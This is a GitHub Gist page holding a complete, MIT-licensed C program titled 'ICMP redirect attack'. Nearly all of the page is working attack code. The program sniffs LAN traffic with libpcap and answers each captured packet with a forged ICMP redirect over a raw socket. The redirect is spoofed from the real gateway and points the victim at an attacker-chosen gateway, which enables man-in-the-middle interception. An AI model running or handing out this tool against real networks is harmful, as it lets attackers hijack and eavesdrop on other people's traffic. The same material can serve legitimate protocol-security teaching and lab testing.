Last active
September 27, 2023 19:41
-
-
Save brickgao/1338db9922079fa2b83d4e823c3aacfa to your computer and use it in GitHub Desktop.
ICMP redirect attack
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* The MIT License (MIT) | |
* Copyright (c) <2016> <Brickgao> | |
* | |
* Permission is hereby granted, free of charge, to any person obtaininga | |
* copy of this software and associated documentation files (the "Software"), | |
* to deal in the Software without restriction, including without limitation | |
* the rights to use, copy, modify, merge, publish, distribute, sublicense, | |
* and/or sell copies of the Software, and to permit persons to whom the Software | |
* is furnished to do so, subject to the following conditions: | |
* | |
* The above copyright notice and this permission notice shall be included | |
* in all copies or substantial portions of the Software. | |
* | |
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | |
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, | |
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN | |
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. | |
*/ | |
#include <sys/types.h> | |
#include <unistd.h> | |
#include <errno.h> | |
#include <signal.h> | |
#include <sys/socket.h> | |
#include <netinet/in.h> | |
#include <arpa/inet.h> | |
#include <pcap.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <arpa/inet.h> | |
#include <netinet/ip.h> | |
#include <netinet/ip_icmp.h> | |
#include <netinet/if_ether.h> | |
#include <linux/if_packet.h> | |
#include <net/if.h> | |
#include <sys/ioctl.h> | |
#define ETHER_SIZE 14 | |
char new_gateway[1024], current_gateway[1024]; | |
int sockfd; | |
struct sockaddr_in target; | |
struct sockaddr_ll socket_address; | |
unsigned short in_cksum(unsigned short *addr, int len) { | |
int sum = 0; | |
unsigned short res = 0; | |
while (len > 1) { | |
sum += *addr++; | |
len -= 2; | |
} | |
if( len == 1) { | |
*((unsigned char *)(&res)) = *((unsigned char *)addr); | |
sum += res; | |
} | |
sum = (sum >>16) + (sum & 0xffff); | |
sum += (sum >>16); | |
res = ~sum; | |
return res; | |
} | |
void get_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *cur_packet){ | |
static int count = 1; | |
int i = 0; | |
struct ip * ip_struct = (struct ip *)(cur_packet + ETHER_SIZE); | |
struct packet { | |
struct ethhdr eth; | |
struct iphdr ip; | |
struct icmphdr icmp; | |
u_char data[52]; | |
} __attribute__((packed)) packet; | |
// printf("Packet number: %d\n",count++); | |
int len = ETHER_SIZE + 28 + (ip_struct->ip_hl << 2) + 8; | |
for (i = 0; i < 6; ++ i) socket_address.sll_addr[i] = packet.eth.h_dest[i] = cur_packet[i + 6]; | |
memset(packet.eth.h_source, 0, sizeof(packet.eth.h_source)); | |
packet.eth.h_proto = htons(ETH_P_IP); | |
packet.ip.version = 4; | |
packet.ip.ihl = 5; | |
packet.ip.tos = 0; | |
packet.ip.tot_len = htons(len - ETHER_SIZE); | |
packet.ip.id = getpid(); | |
packet.ip.frag_off = 0; | |
packet.ip.ttl = 255; | |
packet.ip.protocol = IPPROTO_ICMP; | |
packet.ip.check = 0; | |
target.sin_addr = ip_struct->ip_src; | |
packet.ip.daddr = target.sin_addr.s_addr; | |
if (inet_aton(current_gateway, &target.sin_addr) == 0) { | |
printf("bad ip address %s\n", current_gateway); | |
exit(1); | |
} | |
packet.ip.saddr = target.sin_addr.s_addr; | |
packet.ip.check = in_cksum((unsigned short *)&packet.ip, 20); | |
packet.icmp.type = ICMP_REDIRECT; | |
packet.icmp.code = 1; | |
packet.icmp.checksum = 0; | |
if (inet_aton(new_gateway, &target.sin_addr) == 0) { | |
printf("bad ip address %s\n", new_gateway); | |
exit(1); | |
} | |
packet.icmp.un.gateway = target.sin_addr.s_addr; | |
for (i = 0; i < (ip_struct->ip_hl << 2) + 8; ++ i) packet.data[i] = cur_packet[ETHER_SIZE + i]; | |
packet.icmp.checksum = in_cksum((unsigned short *)&packet.icmp, 8 + (ip_struct->ip_hl << 2) + 8); | |
target.sin_addr = ip_struct->ip_src; | |
sendto(sockfd, &packet, len, 0, (struct sockaddr *)&socket_address, sizeof(struct sockaddr_ll)); | |
} | |
int main(int argc, char *argv[]) { | |
struct bpf_program fp; | |
char filter_exp[] = "ip and not (icmp[icmptype] == icmp-redirect)"; | |
char *dev, errbuf[PCAP_ERRBUF_SIZE]; | |
bpf_u_int32 mask, net; | |
int num_packets = -1; | |
struct ifreq if_idx; | |
char ifName[IFNAMSIZ]; | |
if (argc < 3) | |
puts("attack new_gateway current_gateway"); | |
strcpy(new_gateway, argv[1]); | |
strcpy(current_gateway, argv[2]); | |
dev = pcap_lookupdev(errbuf); | |
if (dev == NULL) { | |
printf("ERROR: %s\n", errbuf); | |
exit(2); | |
} | |
printf("The sniff interface is: %s\n",dev); | |
if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) { | |
printf("ERROR: %s\n", errbuf); | |
mask = net = 0; | |
} | |
pcap_t *handle = pcap_open_live(dev, BUFSIZ, 1, 0, errbuf); | |
if (handle == NULL) { | |
printf("ERROR: %s\n", errbuf); | |
exit(2); | |
} | |
if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1) { | |
printf("Can't parse filter %s:%s\n", filter_exp, pcap_geterr(handle)); | |
return 2; | |
} | |
if (pcap_setfilter(handle, &fp) == -1) { | |
printf("cant' install filter %s:%s\n",filter_exp, pcap_geterr(handle)); | |
return 2; | |
} | |
if ((sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW)) < 0) { | |
perror("socket()\n"); | |
exit(1); | |
} | |
strcpy(ifName, dev); | |
socket_address.sll_halen = ETH_ALEN; | |
memset(&if_idx, 0, sizeof(struct ifreq)); | |
strncpy(if_idx.ifr_name, ifName, IFNAMSIZ - 1); | |
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) | |
perror("SIOCGIFINDEX"); | |
socket_address.sll_ifindex = if_idx.ifr_ifindex; | |
pcap_loop(handle, num_packets, get_packet, NULL); | |
pcap_freecode(&fp); | |
pcap_close(handle); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment